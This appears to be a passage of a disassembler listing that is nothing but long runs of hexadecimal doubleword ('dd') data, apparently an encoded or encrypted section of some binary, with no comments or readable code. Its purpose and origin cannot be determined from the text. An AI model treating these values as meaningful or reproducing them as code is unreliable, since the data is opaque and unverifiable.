59D9A287h dd 0FE71A53Ah, 4634584Dh, 6A22F354h, 537934CBh, 7ED71C09h dd 715552F4h, 65E95057h, 4F3174Dh, 6CE751DAh, 0C1132CBAh dd 606E030h, 135A3503h, 8211530h, 0D2B976DDh, 42FA48F5h dd 10740589h, 37F16CD7h, 8B27606Eh, 2B4FFC37h, 554CCBB8h dd 1B70E74h, 0F5C03252h, 6031662h, 0B0A03BF3h, 6AA39D9Bh dd 2EC265C9h, 76D4C74h, 3C23A17Fh, 21B24A5Ch, 0B60296DDh dd 0EC680BC3h, 90CD7623h, 26CE58DFh, 0CB34FD40h, 4E1F79FFh dd 0C0681E32h, 2CB5666Fh, 0C27AC843h, 7D09A241h, 83132D86h dd 4B74320h, 0F2EDAE05h, 9254C0B2h, 713BC449h, 3FE91329h dd 45BB5580h, 236F821h, 3CB6F381h, 0F5E017E2h, 6304C20h dd 1EAAA656h, 0D1043E95h, 0F381F24Ch, 6B49B2A8h, 0D7214EC5h dd 0D034F8E9h, 0F1E10781h, 6F035D6Eh, 0F2116D81h, 5AA16FA4h dd 2085BD28h, 8F6804DDh, 74AC09E5h, 843BC550h, 0EDD71C03h dd 0EAB4E4A4h, 38EB1FD4h, 9809BDC3h, 0D669B312h, 66E481AFh dd 2C55C4B6h, 0DBC058Bh, 55D44C8Dh, 13130714h, 98A4E3CEh dd 0B2014E24h, 5A530B7Bh, 67D7B85Bh, 0A5B981D3h, 0E6700013h dd 9D02AD50h, 708CDDC0h, 51FAE183h, 0E060412Eh, 254AF5E7h dd 0ABE2FB6Dh, 2784744h, 0CA079226h, 599068C1h, 7AF0996Eh dd 413096A0h, 0D89A6A0Dh, 30605652h, 6E4A685Bh, 0E1E66B5h dd 5F9F4483h, 0F5A8EF8Ch, 88076541h, 0D3A8B9F4h, 0D251CCDFh dd 0D38B92D1h, 0A90B4B8Dh, 1685B437h, 25885FF0h, 6FF62857h dd 0C0456BE6h, 0D4250134h, 204CF21Bh, 490904E7h, 56C23E47h dd 58657A7Dh, 8F3E0703h, 0B92D5A7Eh, 0C2510B6Ah, 3F3F0A05h dd 31ABF701h, 806B2AF9h, 92BB81Bh, 0DCEEE4A0h, 32135002h dd 97961E9h, 3F422981h, 3C1EE77Ch, 1D82FC9Ah, 0DBC90DE9h dd 32BA8F45h, 0B1113BC7h, 816577E2h, 0C1D2F76Ch, 69308EAh dd 0D93D0B06h, 0D998BBD7h, 252B6A08h, 8128BA65h, 2BC745B3h dd 0F466C0F0h, 6C597Dh, 0D72695DEh, 0E7E8A04Ah, 7D34D94Eh dd 0DF50E109h, 2FD4411Ah, 2DBA0197h, 53C2EC77h, 93E50AB8h dd 50A9EBF1h, 175E2A4Ch, 0CD54B9D0h, 68E4658Dh, 9B4D62F6h dd 0B9006E32h, 1FF9D016h, 12CA299Fh, 5EAEE8D3h, 19B865F8h dd 0DEE8724Ah, 7F20A8D0h, 0C2A11BB0h, 18D922F3h, 0E25B583Bh dd 0D88EA251h, 0CBC99542h, 8D217EE7h, 0E23E5866h, 4E774C31h dd 25E9FA98h, 9E7BF605h, 23685080h, 26167F7Ch, 3D4ED158h dd 2CF07D2Bh, 7DC66987h, 53FBC09Fh, 2EF400BBh, 0B9516630h dd 0D0487225h, 4EF1024Eh, 601A6F29h, 2D32A022h, 94E25490h dd 8E26C875h, 20D262DCh, 94FD6389h, 7C29254Dh, 0CE208FC6h dd 0FE58666Fh, 0CC7C06EFh, 0B3856935h, 60C88285h, 0A3FE4BEAh dd 66787AAEh, 0F9884A94h, 1590784h, 9B9887C6h, 54C2A27Eh dd 0C2D0765Dh, 0FD10C477h, 0B7D33D0Fh, 0B79FB94h, 0DF77DA05h dd 0F282AF7Eh, 0C6114089h, 1677B36Dh, 78B6A350h, 2D4B724Dh dd 0EB21F95Bh, 0EBDEB075h, 0F70E1658h, 0C3EAB07Dh, 0CC5708A2h dd 0DA3AAA3Fh, 8C9BB63h, 0A2344F1Bh, 4E10F2E2h, 0FA31035Ch dd 9619685Fh, 103525FBh, 782DDFD9h, 7FC3B57Bh, 0D9F676F2h dd 0B826E927h, 4ACD88CCh, 970EF301h, 0DE4AB5ACh, 9E662579h dd 37D9BD5Eh, 7AABA667h, 3BE19F02h, 0E678ECFAh, 0DCC238B4h dd 61A5FAD3h, 0EAB045E2h, 28FD6030h, 4026C77Ch, 0BD5170A9h dd 84EF5E50h, 30A02710h, 80410EAh, 975FA85Dh, 0A59E62BAh dd 5D4A39F8h, 6A446846h, 4A42FE9Dh, 921241F8h, 6F24DF2Dh dd 2C43ECCDh, 0A0195A91h, 460E942h, 3C37BFCBh, 85495A18h dd 31C9011Ch, 40775C22h, 2DC9B6C6h, 0DA5009FAh, 7B09F2C3h dd 0F0FDEFDBh, 0C159800Ch, 0EC0A4FE8h, 989F176Dh, 0DCC4A4ECh dd 68D65854h, 4A787DDFh, 3EE6CD08h, 0F2E4091h, 0EEE19450h dd 644E3151h, 45208CD8h, 75C4AFFAh, 4A4FD1AFh, 0A7B800C6h dd 8B53D4Eh, 0C09C547Bh, 0A9024BEEh, 9108D2DEh, 0F15514B9h dd 0FE41A132h, 4721D0A1h, 0EED47A1Ch, 0BDF286h, 0B63759BEh dd 0E0CAB929h, 10CAC02h, 7E56E9F1h, 5AD0915h, 0CBBA377Ch dd 554EE4h, 5D7BFEBDh, 0CD814D2Ch, 1458600Eh, 0AFB1F236h dd 5BC043Bh, 5C39EE89h, 0A1E1462Eh, 0B404AD65h, 210DBF7Dh dd 0E001DD85h, 0F37ECBD4h, 2CD08630h, 0BB5B431h, 0E8EC7041h dd 844BC0FEh, 0D2425B8Dh, 9F06F139h, 0B0FEA587h, 785364EFh dd 3E2539EAh, 5A5CAF32h, 58C520A3h, 0A73C78A0h, 9B8F413Dh dd 8516AC8Bh, 0A02F81EAh, 200C06E4h, 0BA98A3C1h, 8A58CFFAh dd 0FCB5A737h, 7CBF03D5h, 0D75C6DB6h, 33F39203h, 7877C05Bh dd 95B64828h, 58085039h, 46C8F9B7h, 0DC5F4C57h, 40E36E4Ah dd 0FB18C202h, 40D26229h, 1EFEBBD5h, 8687456Ch, 0EB97E9CBh dd 0F48353A0h, 0CA5EEEB5h, 0C0B35361h, 74B8685Bh, 5A627596h dd 547F319Eh, 0C8F0C193h, 959C6A61h, 3A760BC3h, 0FC506A87h dd 0FC4D8227h, 0FC30C38Eh, 0D4C6C525h, 10CB0C0h, 2407D48h dd 0F90E02C1h, 7584E94Fh dd 4248B27Fh, 4CA9552Dh, 0A745827Fh, 0CB8B90E0h, 20783B03h dd 885EA00h, 0F2290691h, 88241B0h, 418BC355h, 282E1722h dd 0C597523Dh, 282769F2h, 1A7F2B70h, 59DD615Ch, 0FA9E4272h dd 0AEF65827h, 0D930F56Bh, 0BF80A4DBh, 844C0011h, 0F3E7816Dh dd 2748F935h, 6A900664h, 40C42A7h, 6396739Eh, 0D19BC909h dd 7E7FD925h, 0E1685407h, 5F9946BBh, 555F8D5h, 5EF0215Ah dd 9E0BE1C4h, 6BB8D584h, 1D403868h, 26433E9h, 0E625E047h dd 90A04473h, 0AB1092Eh, 0A87E6A2Ch, 115C6400h, 27E9EDD1h dd 0B825D099h, 0D8C7DCCBh, 6F5A70F5h, 88258C62h, 1EE75BE3h dd 0F62F60F8h, 0B41DCD7h, 0ADD3BC7h, 0F310C5E4h, 8673BD76h dd 7D2E0649h, 0DEF4204Fh, 0AC5440BFh, 0CFB180B3h, 5AF1301Ch dd 84592D3Eh, 684F5772h, 0BA7F694Bh, 50E5D549h, 647AD62Fh dd 0B785AE5Fh, 0D4F302D3h, 0EA4FFD4Eh, 47F8232Bh, 0ADD11C8Bh dd 0A1892B5Fh, 19896CC5h, 97B8BEE6h, 0D39F6DF1h, 0F68F89E3h dd 0F4C4BA7Dh, 0B03CCCE8h, 35341013h, 0E3C001F1h, 98B10651h dd 64DE180h, 4020789Fh, 59B0647Ch, 4AE80279h, 5D69CD9Eh dd 0D35ED8C6h, 52324EA9h, 0E7875029h, 5BF822F7h, 16132F5Dh dd 0BF3E0DAEh, 0F21E4061h, 5D7BDF7Fh, 8F3B8C50h, 0DB5074C4h dd 57275A1Fh, 6F91B343h, 0DFDAE7A2h, 3297DEF0h, 0EECA7525h dd 962DC2C5h, 957B97B3h, 0F8255C65h, 0CD521E5h, 9C5D412Fh dd 3965276Ch, 0A7A01028h, 0AA3E924Bh, 0CD665D29h, 49BF11EBh dd 56E0BB00h, 11BE309h, 904096F3h, 779976Dh, 5D0F62h, 1D569668h dd 0DA29287Ah, 0DDB4D1F0h, 151CB001h, 0A22F0211h, 9AED4BD2h dd 7AF9C780h, 0CA97075Eh, 76080985h, 71DE6985h, 2748DA72h dd 0C53A4957h, 0F1D2105Fh, 197116EEh, 0AEE10C1Ch, 46BD24BBh dd 0EB8839D2h, 595BDE0Bh, 0D598A1DAh, 0FCBA9140h, 3389166Eh dd 97FFFD31h, 0B90015B8h, 9F72A8B5h, 5F63F929h, 0ACD9E978h dd 0E1920FFCh, 0BC71CEA3h, 0A5AF6FB8h, 165EE377h, 0D38B5D0Ch dd 66920CC6h, 340C79B9h, 7EAF650Fh, 42109601h, 4AA4108h dd 92E0AA14h, 4477639Ah, 20004D5Eh, 21DB3284h, 2F60A205h dd 0E378682Ah, 35D0F700h, 0EEC7FD65h, 0DFD49521h, 7419D703h dd 0ACE5B037h, 4E1C301Dh, 14082418h, 0EF014C13h, 6CE9FB90h dd 97139AADh, 0CDDE2FC2h, 515AF92Dh, 299C6E3Ch, 0BA6927E9h dd 6D2231DAh, 51F68106h, 0BB47AAE4h, 23A518D6h, 0DE0D3558h dd 9930D267h, 46E0D242h, 4348A04Bh, 54CA303Ah, 0E561F89Ah dd 0C384474Eh, 96046DA8h, 0E816BD10h, 0BF5717C4h, 0E17652ABh dd 0D0F520C6h, 7B790BFAh, 22AD40EDh, 3A0FA876h, 2073D435h dd 475E0D14h, 80FBA0A9h, 68E18889h, 66745127h, 9B292075h dd 37CB2D07h, 0F75B1FC6h, 0D8C47C2Fh, 880F8252h, 7A895D00h dd 615F0C30h, 815CC39Dh, 1C4819BDh, 50949A2Bh, 0B4808794h dd 0EC8004ADh, 0EFE328AEh, 50CF5D62h, 13BA7C7Dh, 971DD23h dd 98558DC8h, 8291D030h, 5D610077h, 78228E11h, 1771B845h dd 0F572C1h, 4913ED11h, 29341F8Dh, 80B2CCDh, 242ED659h dd 1C70166h, 2B290575h, 988AB9C1h, 1ADD5C02h, 416C62CCh dd 5E008B33h, 0BBDEC329h, 0E8C576D7h, 86718BEEh, 9838DF2Ch dd 0C9E913B7h, 0C5D2A8BDh, 0D0614E5Eh, 0B33A8DEFh, 4021D2EDh dd 5007276h, 660556E8h, 2DD02926h, 920709h, 0B072F2A9h dd 0ACD95AA4h, 0C2F95F1Fh, 0FB381293h, 0E51C724Bh, 0AEBE97CEh dd 65A55524h, 6F3953D5h, 0D9466903h, 92E2577Eh, 4DB01EF0h dd 0C69DEF4Fh, 13F8A27Eh, 51A3E7B5h, 8931E44Bh, 1E7DE25Eh dd 2249C7Fh, 880EFE8Ah, 0E3209BEDh, 0BC525C09h, 584B7847h dd 683B6BB2h, 3851CF00h, 0FFE97210h, 7F64765Bh, 7DE86284h dd 2095458h, 81F51DB2h, 23627112h, 0D164087h, 0CCD13782h dd 0DF0CC75Eh, 0C7EE44Fh, 0D79512F8h, 5A1F4951h, 0EE27AFFEh dd 0F10297A6h, 34DF540Dh, 0E2C1956Ah, 44EA048Ah, 8E46F0h dd 0C824DEB9h, 6738F42Fh, 72D9C784h, 6F578A59h, 0E95C859Fh dd 29DEA0E8h, 184A594h, 0BFC02F02h, 1640B0C3h, 13E9DF07h dd 0F855F5DEh, 65A166Dh, 0D3F78D81h, 80ED9020h, 510ED82Ch dd 21B45052h, 0E62838B6h, 0E246042Bh, 0DC31EFDAh, 766A678Eh dd 7566287Fh, 400C53BDh, 71955C62h, 87C8CE88h, 2BB51A7h dd 63153D0Bh, 9AC0F404h, 0B509E946h, 0B47B3E0Bh, 5F932D24h dd 0FD9161ABh, 68AC01D0h, 323E20F5h, 0CB6259B9h, 0EDFCE429h dd 5B5889F2h, 579E304Ah, 9EB80362h, 5BB5677Eh, 20ADBC57h dd 4528F322h, 0B6F58101h, 0B7C32DECh, 0B7D222EBh, 0C8945F5h dd 0C2338871h, 4ADB27BDh, 7580E270h, 0F02B5E86h, 22EC60CBh dd 84A8014Bh, 0EBE56B0h, 0D9D791Fh, 1B55CE01h, 2320729Bh dd 608417A3h, 0E9DB3080h, 45A99D7Ah, 0F186325Fh, 0DFA2A1E9h dd 0F1F627C4h, 68E8B67Ah, 7B7C4427h, 0ADE9891Ch, 8D42C37Eh dd 4C4B5E63h, 0B2414752h, 119CF22Ah, 97584487h, 158EA64Ah dd 2F40E2CEh, 9A6F7466h, 3746356Dh, 952073A0h, 57224890h dd 89729464h, 227B6C3Dh, 93CFC7A5h, 9964BA55h, 5F7D44FBh dd 123B1DA8h, 0A189E45Ch, 5184EF68h, 745609DFh, 0E91354CAh dd 0C8ADA36Eh, 7219F95Fh, 68C94095h, 8D2E5BC6h, 14763326h dd 707D59CAh, 0E3084591h, 0CBEF8143h, 2EEEB747h, 67A7E3A1h dd 4EA92282h, 0FF7197Fh, 33685B00h, 80A23F49h, 80C1FEDCh dd 0F64402C9h, 0E2B252D1h, 51668077h, 20E9E4B5h, 0F717B90Ah dd 4E0640D0h, 97A44612h, 74AFF8E5h, 0AECA163Fh, 0F8068762h dd 0F2479D22h, 0A253A93h, 6A2EC0BFh, 774ACC21h, 2F682A98h dd 0ACF15EB2h, 8C550F82h, 8FF4325Bh, 0BA071728h, 5311BF4Bh dd 4C5BF08Ch, 883F6C56h, 2D07ADC0h, 4BC81087h, 0A813E153h dd 2DD00520h, 0FDF0C252h, 0CA0747F9h, 2A7B2F11h, 825EF105h dd 9B6793C1h, 70D8432Dh, 4280DF92h, 4ADA38F7h, 4C4B2EFAh dd 866860A9h, 0AB89C35h, 6B1F0D90h, 0C704459h, 4BD86CEFh dd 0AD351730h, 8B2F1580h, 88531620h, 0FDD3A51Ch, 5F9E808h dd 0D858BE68h, 0EF4E1554h, 0A24B6BE7h, 0E28E2F2Fh, 7B2DF1F0h dd 9868440Bh, 2230FF6Fh, 0D7B46A31h, 1CCD963h, 64F8EE59h dd 7E095CBEh, 422B78D0h, 89A82005h, 2BC60124h, 97E06858h dd 308C947h, 1802CD1h, 18C779A1h, 7D5CEA29h, 6F22F302h dd 27EAFF01h, 0C8590804h, 0B840191Bh, 0F5801258h, 747B0925h dd 322F3078h, 0F05CC4A2h, 55E44CC4h, 0FDB0BC0h, 0CF61C785h dd 38676883h, 91C64D2Ch, 0BD031C42h, 1B4341A6h, 4F5A1229h dd 0C087B9A8h, 3C636857h, 12375B82h, 1468226Ch, 0C8AFE555h dd 0DECB08E2h, 5100FC26h, 0F480CCFEh, 0A820E73Bh, 6E43CC0h dd 268CEC9Ch, 0F1F90879h, 84C50109h, 6801D2A2h, 0A5F716CCh dd 2BBD48Ah, 2E7B60B7h, 534580Bh, 5847FF12h, 8B061305h dd 0E5D81915h, 0E30E861h, 41E748DCh, 734E0CDEh, 0A800B810h dd 255CF010h, 7FFB54D8h, 0F32E4D56h, 5C98849h, 570C29F5h dd 3FFE6822h, 549D5222h, 20259209h, 1C84C668h, 5C155B2Dh dd 9059251Dh, 0AD5A2B03h, 0FEDBC11Ah, 3A21212Eh, 0EFC00043h dd 0E6E7E602h, 0AEC70B80h, 7C0EFC30h, 0B10EC588h, 789DE6E2h dd 0B2D2BF3Fh, 879C4FA0h, 84607D82h, 4D00204Eh, 0FDC98160h dd 253C8C50h, 8761EBE9h, 0BEB9D7D1h, 720EA7CEh, 1815E87Eh dd 0C54BB37h dd 0BD0438CCh, 0EBD5E914h, 0EE59F8D2h, 0ED9E203Eh, 0C00D4BB6h dd 1DF583FCh, 13E4133Fh, 127DFB76h, 0BAA5D36Ch, 885B8FCBh dd 909551CBh, 0F4555225h, 852D12B9h, 0FCFFB03Ah, 5360EBFAh dd 8FAD4F0Ch, 945B671h, 1457A48Dh, 0B3A83711h, 0F8C664E1h dd 978E4E9Eh, 0A80053C9h, 64590E49h, 4F02BCB4h, 0C07DCD44h dd 40FB79Fh, 70E9D371h, 1D297A1h, 6019CF21h, 66B6F4DBh dd 91B464EFh, 600431ADh, 80754A6Ah, 7D7F5F2Eh, 0F61D1576h dd 65D33D1Eh, 0E79F7600h, 1231305Ah, 80B2E9F2h, 2C875EA1h dd 68E20FB6h, 819F534h, 109F3254h, 510B8FDCh, 277F5B1h dd 1CECA7Ch, 3334F068h, 3D2578F1h, 0FD628B71h, 0A7135638h dd 5C2FC591h, 1C6C101Dh, 5E00B850h, 46252D36h, 203C0954h dd 0C2E2D4E9h, 0B96B5760h, 1855B880h, 0F842A828h, 59165B15h dd 46842908h, 0E02D0812h, 0EC870843h, 0ADEE33EEh, 0B6BB008Ch dd 3120EF79h, 62AAE3C1h, 0A0E768DFh, 2A6897D0h, 0F0237AF1h dd 0B71C5E7Fh, 53E90C7Ah, 9F64393h, 0E7F38EEAh, 82340977h dd 561BE9C1h, 8AD9200h, 1127F92h, 0F24F00B8h, 992DF046h dd 52542674h, 705141Ah, 867AD84Ah, 53782613h, 5602A302h dd 66D6108h, 0AD8C173Eh, 0EE88485h, 61101FB8h, 0DE25E4Dh dd 3EE08D9Fh, 3EE02E1Ch, 8E817EDh, 13CBBCEAh, 4804284Fh dd 30ABC498h, 101E0B4Dh, 2324617Dh, 9943A753h, 0D73CEA6Dh dd 0B75CC842h, 7CF0E904h, 25A4CFABh, 51F70565h, 0FD19F581h dd 5AF58800h, 93E5C026h, 6149C50Eh, 0CCE942CDh, 96A8E655h dd 8F2DE9A8h, 0AF98FB3Eh, 0E12FD4F6h, 21AD6486h, 84288F7Eh dd 0F8828FE8h, 3BF9BD65h, 5ADC32C0h, 26689733h, 18BF3E41h dd 8254A5CBh, 0DAA4B165h, 7C4B3A00h, 4D0EE93Bh, 650A580h dd 3565079Fh, 85CE0114h, 0EA081FEEh, 89E912D6h, 95F825B8h dd 0BF30BFB1h, 988FC68h, 0DDE977AEh, 0FE2D485Ch, 728F593Ah dd 0EDC1DCD9h, 2BF58101h, 0C13CC1C8h, 384AE2AAh, 121DF350h dd 41821340h, 7A662AE9h, 20AE927Ah, 87813DC0h, 550D97BAh dd 68E045FCh, 0FEA83CEAh, 0B981F6B0h, 0DFA946Eh, 7E5F419Fh dd 903420E2h, 0E6CFFF55h, 0DFB85010h, 10E65C2Fh, 212D0357h dd 0E914916Dh, 74305F8h, 13AB8D5Fh, 0F64A618Eh, 125739F9h dd 8A8178E9h, 7DFEB068h, 9895E318h, 0C10DE382h, 0E43D7572h dd 7560324h, 24DDF656h, 76A980D5h, 4595EB28h, 0B5510BE7h dd 59CB140Fh, 9780F07Ah, 1563E987h, 0FDEF6F7h, 48C68004h dd 0EF608684h, 59F08962h, 1AE98BFBh, 89544B42h, 0CBE2D143h dd 2A2E1677h, 7A48CC0Bh, 43309A41h, 75681323h, 0D555A814h dd 0CCCF2F1Ch, 288DA00Ah, 12582445h, 0A474257Dh, 0BE65FFD9h dd 0A799EC2Eh, 0F57722F2h, 630BBBE5h, 654B7EA6h, 7D2DBCAFh dd 6F65EE24h, 58B9DA53h, 0F8584A80h, 38544A50h, 0E7EEE0E2h dd 4AB51D0Bh, 20BFA401h, 885D4E08h, 4091216Dh, 253C5008h dd 0D62DEF76h, 0BBD15AA6h, 0C8034628h, 0BE717463h, 310B2FCCh dd 0F016A182h, 23D95E09h, 37C82220h, 62CBAFE8h, 0F6A1856Fh dd 0D3787268h, 8BB3271Ch, 5B00D81Fh, 0B6525153h, 0E6801CCEh dd 4F6C9D1h, 4750A1A7h, 22D569E8h, 0A4697E50h, 6CF6EFABh dd 6C9B0978h, 9C2208Eh, 0FC624BD9h, 0B3D4C87h, 5E216851h dd 317510B2h, 0CB57BF46h, 6055010Ah, 7E29051h, 8720C30h dd 0F0E19C55h, 67A440BCh, 4189962h, 83D70379h, 78241010h dd 8E4D118h, 18C4A07Eh, 500685CFh, 0E620102Bh, 95C220EFh dd 31C8F020h, 4908FD85h, 61188C36h, 62A80803h, 5D88186Bh dd 89C20C0Eh, 7608C67Eh, 29311805h, 8F4D0823h, 3E061888h dd 108D860Ch, 8DA62CBh, 2903637Ah, 35203A5Ch, 62621540h dd 382AA10h, 810CF80h, 3B18B178h, 0F7B92057h, 0C4251280h dd 0F519310h, 0B08F898h, 7D21CCE8h, 0DB403A08h, 2F764071h dd 62684D40h, 0DD38409Ch, 44B81603h, 0C43D8471h, 4540EF9h dd 7406BBEBh, 40201073h, 396220EAh, 84A9831h, 1899E079h dd 95AC5153h, 31E03671h, 76C4A9AEh, 7CCC308Ch, 0A6631208h dd 2A948418h, 20F0A008h, 51319EE8h, 0B200875h, 0C8A36402h dd 81086CEh, 41183F3Ah, 9FE33862h, 780208C6h, 0AC4A5418h dd 101E6293h, 92027CC3h, 5F7F058Fh, 20EC2AE4h, 742098E5h dd 7FC02070h, 0B2598763h, 0CD081056h, 69C473F0h, 0CA04BA5Fh dd 4A460465h, 1C61B11Fh, 19370359h, 181A56E9h, 921843F3h dd 12020810h, 10831710h, 18103D24h, 80F12A32h, 2A103449h dd 7620CCC6h, 9C4354C0h, 36B0A811h, 5A67806Ah, 0CF481C8h dd 0EC08A3CBh, 0B07589CFh, 18AAE719h, 0EB418CB9h, 0C46D190Fh dd 40EFD08h, 0D70A20B7h, 0C1C898E0h, 10C6CD3Ah, 2008F8FCh dd 7E31ED01h, 896B205Bh, 0D9450898h, 20CAF6B4h, 668CB0B7h dd 6323186Bh, 65AB0849h, 0D80F1824h, 18063A8Ch, 81362A5h dd 38064526h, 3E7420B9h, 2069DF20h, 7A496A31h, 58402488h dd 877748Ch, 63F40C7h, 3924D8A8h, 923A3080h, 0AEDC402Ch dd 0C5C16940h, 488EF171h, 670C1D90h, 0C62B20FFh, 10CC9B61h dd 544DD620h, 6325C0C5h, 44321034h, 8EBE0818h, 810B3118h dd 6DB188BDh, 4B710873h, 10E5190Ch, 8D3626Eh, 60007814h dd 99E8FC9Ch, 61026A4h, 1E4857EFh, 72C78B3Ch, 27456F26h dd 752C4780h, 6313EB02h, 0A7B90E89h, 5003D7Ah, 408F4401h dd 0BC90B49h, 748BF775h, 0DE81C18Eh, 7DB9F003h, 0C0331E74h dd 4FB10F03h, 0AC2C0930h, 21D63F04h, 693AE970h, 65DA1011h dd 305BBB51h, 0B1DACBAh, 0EB810F51h, 309C191Eh, 692A52Ah dd 14801C08h, 30D8F57h, 9245F9E9h, 3830067Eh, 2C2D5250h dd 3453166Ah, 0EA0A633Ch, 2783EE08h, 0E9E7EB51h, 55BD07B4h dd 680CE019h, 81E36E5Ah, 817EDC0h, 0CC12A42h, 3CF20A7Ch dd 0ADB9057Fh, 0AA1307EFh, 216A031Bh, 971CD3D7h, 0BFEA1B28h dd 0C0D9432h, 28EB4130h, 0C2AFA06Bh, 0E9E908A1h, 538A9D4Ch dd 0D234268Eh, 57D463EEh, 939568E1h, 1CAB0956h, 67B0C2D6h dd 84073F8h, 0C83E5F64h, 66F70270h, 0E042E372h, 5123D90h dd 9EE93419h, 3D67EFA4h, 0D624CCBBh, 8915B473h, 7CE16570h dd 330CD6A2h, 5EF71637h, 9D794014h, 21832F0Ah, 3BCD83B5h dd 0D240DA2h, 0D4141730h, 93007FD0h, 18782D03h, 97487DB8h dd 0E8E3A8DAh, 0C097D020h, 4A64E975h, 0F767AAA0h, 0A07B9BB2h dd 2841F1ABh, 0CC084BA0h, 0A501F37Fh, 68386203h, 0A7760DE2h dd 10AAD518h, 0D83CB353h, 43DD9751h, 875EC8B3h, 1596C2A6h dd 80C3DD0Eh, 0D9508FC3h, 16AFE6BDh, 420B2658h, 8760C408h dd 577B8CF3h, 0F055CFB9h, 0E3A01CBAh, 6F1341BDh, 40F86E68h dd 2B6C5C0Bh, 0D849867Eh, 0FE492557h, 0DEE65BDEh, 0E0E82090h dd 80BF5700h, 213FE411h, 0BA67B5FAh, 9C3ABF81h, 3120ED95h dd 376A1472h, 0A4C0113Dh, 0E96CD410h, 0F7C2E25Fh, 3102D65Dh dd 0ADA9D972h, 6301D1D2h, 0D67B0BEFh, 7DBDCB03h, 97555742h dd 9065A9DEh, 1F1CEA57h, 0CEDA87Ch, 0BF1846D2h, 18A7741Fh dd 0C0FC71E7h, 7FFBB951h, 1E23FC3Eh, 7712A3C1h, 0B440CDFCh dd 7A276864h, 0AB303A3h, 6A001197h, 0E43DEF56h, 0DB25B5E9h dd 9CC1ED22h, 0B95A82D9h, 0D7AD47CEh, 66292200h, 89241933h dd 0F301A3CBh, 51D51BDDh, 1675016Eh, 2F38B1E3h, 8B0226E5h dd 42027D5Dh, 0C6AE9B2Ah dd 8CE056DDh, 0BA9AA089h, 0C68EE0B5h, 0AFB63B52h, 0E8014F75h dd 0F88C4FB3h, 320A19FCh, 6A13B639h, 3C4148Ah, 200BD946h dd 0B905084h, 0B95E4709h, 19665D4Bh, 6087FA25h, 13C8F7D8h dd 1ED51AA0h, 2D03E04Dh, 30517826h, 0A6BAB048h, 0C8DA4999h dd 0DFCDE90Ch, 0EB248026h, 0D75A0493h, 4075CE6Ah, 125150A4h dd 0FB8805B1h, 7E8C800h, 25E9D0F6h, 0A8F60399h, 7F792562h dd 0C21C0F94h, 0C304F858h, 8FEAD709h, 30EA6001h, 0B048EE7Ch dd 35721288h, 0F94A048Bh, 0C7CC133Ch, 8759BD56h, 59CA8904h dd 40620B88h, 0D94B01E6h, 0E9F006F8h, 45816C4Dh, 0BD7D9AD8h dd 52FC7C20h, 37B65F2Bh, 7D6E714Dh, 0B13482Ah, 5FAC0E67h dd 0A1CAAC6Fh, 4A7090E3h, 579A33Dh, 39E16B3Ch, 0D05DED1Fh dd 0A066E9C4h, 0EB54D8EFh, 0F20920Bh, 2C967021h, 869D3A88h dd 225E5FFBh, 0DD39AE16h, 44E6AC05h, 0A30B6501h, 1F6B8F93h dd 0B3A5BCFFh, 78624A5Ch, 0F0D6AD2h, 75AA3281h, 0C920AFF6h dd 9A20E1E9h, 5254EC8Fh, 0F940BB4Fh, 0ED688176h, 258C6E7Eh dd 0C6FEEAEFh, 2FFCB7Ah, 5EAC10Ah, 4C04A342h, 0FB3BAFh dd 0D268C79Dh, 7897011Dh, 0E90880DDh, 9C254FC0h, 0E8C85194h dd 3CD2254Eh, 4B6ECA06h, 45C36E3h, 0E10A2FDAh, 0A6D0BE52h dd 845F1B29h, 5DB40FD7h, 23C54D3Bh, 0E1510601h, 69B76871h dd 51E17ABh, 38E58054h, 31FB4AD3h, 3FAA79E0h, 0BD4A168Eh dd 9624873h, 0DDC567EBh, 21F03E00h, 29347639h, 80290D1h dd 0C0F9015Ah, 34E95E9h, 0E94811EFh, 9E70D5Dh, 3576C75Fh dd 249EF34h, 694BF15Ch, 88E4185Fh, 1AD12C5Bh, 1554110Ch dd 0CB5FFE01h, 59AAB087h, 10014823h, 0D212C190h, 0C42737D3h dd 0A16DFD14h, 42FD1F6h, 0C243E965h, 8977363Ah, 0DEA20E05h dd 0DB72CEC9h, 2A3C2A06h, 7933DB38h, 316B375Eh, 0C4823B8Ah dd 0E72EDC32h, 6775AA1Fh, 0A9D7B1B8h, 69FF96BDh, 0F2F22AA8h dd 920EC4Ch, 605A83A9h, 0F96BA64Eh, 0D075542Ah, 0C8A9D7B3h dd 411FDCFBh, 1C050EC0h, 5B3D2B0Fh, 0AD8D345Fh, 72DB859Fh dd 9DC9A8E8h, 0E9794EA9h, 12EBD80Ch, 0EF7570B3h, 4871B036h dd 1E29EFDCh, 0CA2C40BCh, 0B5745153h, 2861B709h, 4603D5EFh dd 0B9184C58h, 0FD7D82EEh, 1320F95Fh, 7064163Dh, 0C96C1D05h dd 0E943204h, 564E5D14h, 9F018499h, 4E798AAAh, 0B118C8B6h dd 4979EF85h, 7AF4EF72h, 0B2E3064Fh, 0C254D18Fh, 4096BE40h dd 88295B12h, 243C43CEh, 58583DF3h, 133F49E9h, 0BDBB5300h dd 971C56Eh, 0F237DE7Dh, 5DB02635h, 3EA44519h, 333FF529h dd 89BE18E0h, 665EE056h, 0F80B32C4h, 3706F7C4h, 948638Dh dd 439540BAh, 4D602174h, 0CE77D80Ch, 5D52F6BCh, 3BA1B023h dd 0A30AA68Ah, 0FBC0031Fh, 0C308962Ch, 0FF8D9058h, 889B0683h dd 0E4725BD9h, 0C828F60Eh, 38BE9C2Ch, 71054A59h, 23ACD666h dd 340323A1h, 5497EF19h, 77815A52h, 2F73C268h, 0F0C0F2CCh dd 0BE413E2Fh, 81E90BE1h, 0A827740Eh, 1B0F2212h, 5EB4C0E0h dd 78D2F2F5h, 1029B732h, 4A958E5Eh, 0CC9699C6h, 0AE4E30ECh dd 0F65AFA2Ah, 0E9D70708h, 335A509Eh, 2B583F8Dh, 0FD51C3F8h dd 2D537E4Ch, 0D476B9B7h, 214E840Ch, 0DE470FC5h, 156BAF96h dd 8925A4h, 9D7075BAh, 0E2C1166Eh, 0E1E0106h, 3034AD02h dd 0D39DC504h, 8BC825BCh, 1ACBD1BDh, 6BBC5159h, 0C0D89F3h dd 0E1057232h, 0A5966582h, 60BEE7BAh, 533C2C04h, 0D3F7131Fh dd 0BE13EB52h, 43836115h, 7DBC4EA0h, 3CBD3ABDh, 6967C1B4h dd 0C5A12C6Fh, 0B7444152h, 7AC202C7h, 12F4533h, 0CD685247h dd 5A13E47Dh, 411FE2FCh, 0B6242514h, 0A6CBDA1Fh, 2135053Eh dd 568B19F3h, 838CF1DCh, 9057247h, 304E1734h, 5098D496h dd 1368D80Eh, 0D6DD1406h, 220E3B05h, 